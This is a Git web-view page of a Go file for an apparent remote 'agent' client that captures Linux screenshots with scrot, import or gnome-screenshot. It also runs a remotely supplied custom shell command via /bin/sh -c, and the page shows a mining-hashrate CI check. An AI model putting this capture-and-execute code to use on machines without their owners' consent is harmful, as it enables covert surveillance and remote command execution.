Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Return sane fallback CPU percent after first sample on unknown Unix platforms; add xvfb/scrot docs and stub tests; clear PROBLEMS.md open bugs.
93 lines
2.7 KiB
Go
93 lines
2.7 KiB
Go
//go:build linux
|
|
|
|
// Headless Linux hosts (Docker, CI, VPS) have no DISPLAY. Install Xvfb + scrot:
|
|
//
|
|
// apt-get install -y xvfb scrot
|
|
// Xvfb :99 -screen 0 1280x720x24 &
|
|
// export DISPLAY=:99
|
|
//
|
|
// Or pass a one-shot custom command via Crucible screenshot (command field), e.g.:
|
|
//
|
|
// DISPLAY=:99 scrot -q 55 -o /tmp/s.jpg && base64 -w0 /tmp/s.jpg
|
|
//
|
|
// See docs/E2E_VALIDATION.md § Linux headless screenshot.
|
|
|
|
package client
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"strings"
|
|
)
|
|
|
|
func capturePlatformScreenshot(customCmd string) (string, error) {
|
|
if strings.TrimSpace(customCmd) != "" {
|
|
out, err := exec.Command("/bin/sh", "-c", customCmd).CombinedOutput()
|
|
if err != nil {
|
|
return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
|
|
}
|
|
if b64 := extractScreenshotBase64(out); len(b64) >= 100 {
|
|
return b64, nil
|
|
}
|
|
return "", fmt.Errorf("custom screenshot command returned no image data")
|
|
}
|
|
|
|
if raw, err := captureLinuxScreenshotJPEG(); err == nil && len(raw) >= 100 {
|
|
return base64.StdEncoding.EncodeToString(raw), nil
|
|
} else if err != nil {
|
|
return "", err
|
|
}
|
|
return "", fmt.Errorf("screenshot failed: install scrot, imagemagick (import), or gnome-screenshot")
|
|
}
|
|
|
|
func captureLinuxScreenshotJPEG() ([]byte, error) {
|
|
if scrot, err := exec.LookPath("scrot"); err == nil {
|
|
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
path := tmp.Name()
|
|
_ = tmp.Close()
|
|
defer os.Remove(path)
|
|
out, runErr := exec.Command(scrot, "-q", "55", path).CombinedOutput()
|
|
if runErr != nil {
|
|
return nil, fmt.Errorf("scrot: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
|
}
|
|
return os.ReadFile(path)
|
|
}
|
|
|
|
if importCmd, err := exec.LookPath("import"); err == nil {
|
|
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
path := tmp.Name()
|
|
_ = tmp.Close()
|
|
defer os.Remove(path)
|
|
out, runErr := exec.Command(importCmd, "-window", "root", "-quality", "55", path).CombinedOutput()
|
|
if runErr != nil {
|
|
return nil, fmt.Errorf("import: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
|
}
|
|
return os.ReadFile(path)
|
|
}
|
|
|
|
if gnome, err := exec.LookPath("gnome-screenshot"); err == nil {
|
|
tmp, err := os.CreateTemp("", "af-scr-*.jpg")
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
path := tmp.Name()
|
|
_ = tmp.Close()
|
|
defer os.Remove(path)
|
|
out, runErr := exec.Command(gnome, "-f", path).CombinedOutput()
|
|
if runErr != nil {
|
|
return nil, fmt.Errorf("gnome-screenshot: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
|
}
|
|
return os.ReadFile(path)
|
|
}
|
|
|
|
return nil, fmt.Errorf("no screenshot tool found (scrot, import, gnome-screenshot); headless hosts need xvfb — see docs/E2E_VALIDATION.md")
|
|
}
|